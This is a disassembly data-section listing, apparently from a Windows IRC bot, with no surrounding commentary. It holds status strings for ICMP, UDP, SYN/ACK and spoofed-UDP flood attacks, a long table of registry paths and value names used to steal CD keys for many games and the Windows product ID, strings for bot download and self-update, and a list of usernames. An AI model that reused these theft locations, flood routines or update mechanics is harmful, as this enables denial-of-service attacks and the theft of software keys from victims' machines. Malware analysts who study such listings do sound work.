unk_44CBAC db 2Dh ; - ; DATA XREF: sub_41226E+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
unk_44CBF4 db 2Dh ; - ; DATA XREF: sub_41226E+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 10h
unk_44CC40 db 2Dh ; - ; DATA XREF: sub_412655+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_44CC68 db 2Dh ; - ; DATA XREF: sub_412655+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_44CC94 db 2Dh ; - ; DATA XREF: sub_4127E1+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
unk_44CCBC db 2Dh ; - ; DATA XREF: sub_4127E1+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 4
dword_44CCE8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_4129F7+48o
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_44CD14 db 2Dh ; - ; DATA XREF: sub_412B9A+48o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_44CD3C db 2Dh ; - ; DATA XREF: sub_412C36+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_44CD5C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_412F42+4Do
aDoneWithFlood_ db '- Done with flood.',0
align 4
unk_44CD7C db 2Dh ; - ; DATA XREF: sub_4131FE+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 10h
unk_44CDB0 db 2Dh ; - ; DATA XREF: sub_4131FE+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_44CDE8 db 2Dh ; - ; DATA XREF: sub_4131FE+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
aSyn_0 db 'syn',0 ; DATA XREF: sub_4131FE+2D2o
aAck_0 db 'ack',0 ; DATA XREF: sub_4131FE+2F2o
aRandom_2 db 'random',0 ; DATA XREF: sub_4131FE+312o
align 4
unk_44CE18 db 2Dh ; - ; DATA XREF: sub_4131FE+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_44CE68 db 2Dh ; - ; DATA XREF: sub_4131FE+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_44CEB8 db 2Dh ; - ; DATA XREF: sub_413794+60o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_413849+C7o
unk_44CEF8 db 2Dh ; - ; DATA XREF: sub_413A92+47o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_44CF38 db 2Dh ; - ; DATA XREF: sub_413B08+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
unk_44CF64 db 2Dh ; - ; DATA XREF: sub_413B08+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
unk_44CFB4 db 2Dh ; - ; DATA XREF: sub_413B08+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_44CFF8 db 2Dh ; - ; DATA XREF: sub_413B08+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_413B08+17Eo
unk_44D030 db 2Dh ; - ; DATA XREF: sub_413B08+348o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_44D0BC db 2Dh ; - ; DATA XREF: sub_413B08+2F6o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 10h
unk_44D120 db 2Dh ; - ; DATA XREF: sub_413E60+5Do
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
asc_44D14C: ; DATA XREF: sub_413FFA+1C5o
unicode 0, < >,0
aSD_2 db '%s%d ',0 ; DATA XREF: sub_413FFA+207o
align 4
dword_44D158 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_414512+10o
dword_44D16C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_414512+35o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_41458A+60o
align 4
dword_44D1A4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .nsp0:00414646o
dword_44D1B0 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_4146C7+20o
dword_44D1C4 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_4146C7:loc_4146FCo
dword_44D1D8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_41473A+3Fo
dd 676E6974h, 0
dword_44D1F4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_41473A+DCo
dd 6574656Ch, 0
dd 80000001h
off_44D214 dd offset aSoftwareValveC ; DATA XREF: sub_414869+Cr
; sub_414869+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44D220 dd 2 dup(0) ; DATA XREF: sub_414869+26o
dd 80000001h, 44D690h, 44D6B8h, 44D6C4h, 2 dup(0)
dd 80000001h, 44D6D4h, 44D6F4h, 44D6F8h, 2 dup(0)
dd 80000001h, 44D70Ch, 44D730h, 44D734h, 2 dup(0)
dd 80000001h, 44D740h, 44D764h, 44D76Ch, 2 dup(0)
dd 80000001h, 44D780h, 44D794h, 44D7A4h, 2 dup(0)
dd 80000001h, 44D7C0h, 44D804h, 44D80Ch, 2 dup(0)
dd 80000002h, 44D820h, 44D84Ch, 44D858h, 2 dup(0)
dd 80000002h, 44D878h, 44D8ACh, 44D8B4h, 2 dup(0)
dd 80000002h, 44D8CCh, 44D900h, 44D908h, 2 dup(0)
dd 80000002h, 44D920h, 44D938h, 44D940h, 2 dup(0)
dd 80000002h, 44D958h, 4E8518h, 44D994h, 2 dup(0)
dd 80000002h, 44D9A4h, 4E851Ch, 44D9DCh, 2 dup(0)
dd 80000002h, 44D9F0h, 4E8520h, 44DA3Ch, 2 dup(0)
dd 80000002h, 44DA5Ch, 4E8524h, 44DAACh, 2 dup(0)
dd 80000002h, 44DAD8h, 4E8528h, 44DB14h, 2 dup(0)
dd 80000002h, 44DB28h, 4E852Ch, 44DB60h, 2 dup(0)
dd 80000002h, 44DB70h, 4E8530h, 44DBC0h, 2 dup(0)
dd 80000002h, 44DBECh, 4E8534h, 44DC2Ch, 2 dup(0)
dd 80000002h, 44DC48h, 4E8538h, 44DC78h, 2 dup(0)
dd 80000002h, 44DC98h, 4E853Ch, 44DCD4h, 2 dup(0)
dd 80000002h, 44DCE8h, 4E8540h, 44DD30h, 2 dup(0)
dd 80000002h, 44DD50h, 4E8544h, 44DDA4h, 2 dup(0)
dd 80000002h, 44DDD4h, 4E8548h, 44DE24h, 2 dup(0)
dd 80000002h, 44DE50h, 44DE90h, 44DE98h, 2 dup(0)
dd 80000002h, 44DEB8h, 4E854Ch, 44DEFCh, 2 dup(0)
dd 80000002h, 44DF18h, 4E8550h, 44DF64h, 2 dup(0)
dd 80000002h, 44DF88h, 4E8554h, 44DFBCh, 2 dup(0)
dd 80000002h, 44DFC8h, 4E8558h, 44DFFCh, 2 dup(0)
dd 80000002h, 44E008h, 4E855Ch, 44E03Ch, 2 dup(0)
dd 80000002h, 44E048h, 4E8560h, 44E07Ch, 2 dup(0)
dd 80000002h, 44E088h, 4E8564h, 44E0C4h, 2 dup(0)
dd 80000002h, 44E0D8h, 4E8568h, 44E114h, 2 dup(0)
dd 80000002h, 44E128h, 44E158h, 44E160h, 2 dup(0)
dd 80000002h, 44E17Ch, 44E19Ch, 44E1A4h, 2 dup(0)
dd 80000002h, 44E1C8h, 44E1E4h, 44E1ECh, 2 dup(0)
dd 80000002h, 44E20Ch, 44E22Ch, 44E234h, 2 dup(0)
dd 80000002h, 44E258h, 44E270h, 44E278h, 2 dup(0)
dd 80000002h, 44E27Ch, 44E298h, 44E2A8h, 2 dup(0)
dd 80000002h, 44E2B0h, 44E2E4h, 44E2E8h, 2 dup(0)
dd 80000002h, 44E300h, 44E33Ch, 44E348h, 44E370h, 44E380h
dd 80000002h, 44E394h, 44E3B8h, 44E3C4h, 44E3D8h, 44E3E8h
dd 80000002h, 44E3F0h, 44E414h, 44E420h, 44E44Ch, 44E45Ch
dd 80000002h, 44E464h, 44E488h, 44E494h, 44E4C4h, 44E4D4h
dd 6 dup(0)
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_44D214o
align 10h
aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:0044D218o
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:0044D21Co
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aKey_1 db 'Key',0
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aKey_2 db 'Key',0
aHalfLife db 'Half-Life',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aPrvkey db 'prvkey',0
align 4
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aCustomernumber db 'CustomerNumber',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aCdkey_0 db 'CDKey',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aProductid db 'ProductId',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aCdkey_1 db 'CDKey',0
align 4
aUnrealTourname db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 10h
aCdkey_2 db 'CDKey',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2004',0
align 10h
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aCdkey_3 db 'CDKey',0
align 10h
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194 db 'Battlefield 1942',0
align 10h
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0
align 10h
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNascarRacing20 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aCdkey_4 db 'CDKey',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareWestwoo db 'oftware\Westwood\Tiberian Sun',0
align 4
aSerial_0 db 'Serial',0
align 4
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aSerial_1 db 'Serial',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Red Alert 2',0
align 4
aSerial_2 db 'Serial',0
align 4
aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestw_2 db 'oftware\Westwood\NOX',0
align 10h
aSerial_3 db 'Serial',0
align 4
aNox db 'NOX',0
aSoftwareTechla db 'Software\Techland\Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
aChrome db 'Chrome',0
align 10h
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aKey_3 db 'key',0
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 10h
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 10h
aBaseMpSof2key db 'base\mp\sof2key',0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation db 'Location',0
align 4
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aNwncdkey_ini db 'nwncdkey.ini',0
align 4
aKey1 db 'Key1=',0
align 10h
aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_0 db 'Location',0
align 10h
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 4
aNwncdkey_ini_0 db 'nwncdkey.ini',0
align 4
aKey2 db 'Key2=',0
align 4
aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_1 db 'Location',0
align 4
aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aNwncdkey_ini_1 db 'nwncdkey.ini',0
align 4
aKey3 db 'Key3=',0
align 4
aSS_9 db '%s\%s',0 ; DATA XREF: sub_414869+79o
align 4
aR_2: ; DATA XREF: sub_414869+8Ao
unicode 0, <r>,0
asc_44E4E8: ; DATA XREF: sub_414869+DEo
unicode 0, <=>,0
asc_44E4EC: ; DATA XREF: sub_414869+E9o
unicode 0, <=>,0
dword_44E4F0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_414869+FEo
dd 0
dword_44E508 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_414869+11Bo
dd 0
dword_44E520 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_414869+167o
dd 0
unk_44E538 db 2Dh ; - ; DATA XREF: sub_414A1D+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
unk_44E560 db 2Dh ; - ; DATA XREF: sub_414A1D+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_44E588 db 2Dh ; - ; DATA XREF: sub_414A1D+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_44E5B0 db 2Dh ; - ; DATA XREF: sub_414A1D+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_44E5DC db 2Dh ; - ; DATA XREF: sub_414A1D+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_44E604 db 2Dh ; - ; DATA XREF: sub_414A1D+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
aOpen_2 db 'open',0 ; DATA XREF: sub_414A1D+336o
align 4
dword_44E644 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_414A1D+358o
dd 25206465h, 73h
unk_44E660 db 2Dh ; - ; DATA XREF: sub_414A1D+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
unk_44E6A4 db 2Dh ; - ; DATA XREF: sub_414A1D+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_44E6D8 db 2Dh ; - ; DATA XREF: sub_414A1D+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
aUnknown db 'Unknown',0 ; DATA XREF: sub_414FC5:loc_415008o
aInvalid db 'Invalid',0 ; DATA XREF: sub_414FC5:loc_415002o
aDisk db 'Disk',0 ; DATA XREF: sub_414FC5:loc_414FFCo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_414FC5:loc_414FF6o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_414FC5:loc_414FF0o
align 4
off_44E72C dd offset word_4D4152 ; DATA XREF: sub_414FC5:loc_414FEAo
dword_44E730 dd 3Fh ; DATA XREF: sub_414FC5+1Fo
aFailed db 'failed',0 ; DATA XREF: sub_415056+E0o
align 4
aFailed_0 db 'failed',0 ; DATA XREF: sub_415056+F1o
align 4
aFailed_1 db 'failed',0 ; DATA XREF: sub_415056+102o
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_415056+70o
align 4
aSkb_0 db '%sKB',0 ; DATA XREF: sub_415056+9Bo
align 4
aSkb_1 db '%sKB',0 ; DATA XREF: sub_415056+C6o
align 4
aFailed_2 db 'failed',0 ; DATA XREF: sub_41517A+3Bo
align 4
unk_44E76C db 2Dh ; - ; DATA XREF: sub_41517A+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
unk_44E7A8 db 2Dh ; - ; DATA XREF: sub_41517A+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
aA_3 db 'A:\',0 ; DATA XREF: sub_41524C:loc_415291o
off_44E7E8 dd offset dword_44EC80 ; DATA XREF: sub_4156B7+5Cr
dd offset dword_44EC84
dd offset dword_44EC88
dd offset dword_44EC8C
dd offset dword_44EC90
dd offset dword_44EC94
dd offset dword_44EC98
dd offset dword_44EC9C
dd offset dword_44ECA0
dd offset dword_44ECA4
dd offset dword_44ECA8
dd offset dword_44ECAC
dd offset dword_44ECB0
dd offset dword_44ECB4
dd offset dword_44ECB8
dd offset dword_44ECBC
dd offset dword_44ECC0
dd offset dword_44ECC4
dd offset dword_44ECC8
dd offset dword_44ECCC
dd offset dword_44ECD0
dd offset dword_44ECD4
dd offset dword_44ECD8
dd offset dword_44ECDC
dd offset dword_44ECE0
dd offset dword_44ECE4
dd offset dword_44ECE8
dd offset dword_44ECEC
dd offset dword_44ECF0
dd offset dword_44ECF4
dd offset dword_44ECF8
dd offset dword_44ECFC
dd offset dword_44ED00
dd offset dword_44ED04
dd offset dword_44ED08
dd offset dword_44ED0C
dd offset dword_44ED10
dd offset dword_44ED14
dd offset dword_44ED18
dd offset dword_44ED1C
dd offset dword_44ED20
dd offset dword_44ED24
dd offset dword_44ED28
dd offset dword_44ED2C
dd offset dword_44ED30
dd offset dword_44ED34
dd offset dword_44ED38
dd offset dword_44ED3C
dd offset dword_44ED40
dd offset dword_44ED44
dd offset dword_44ED48
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy_0 ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit_0 ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl_0 ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_44EFB0
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
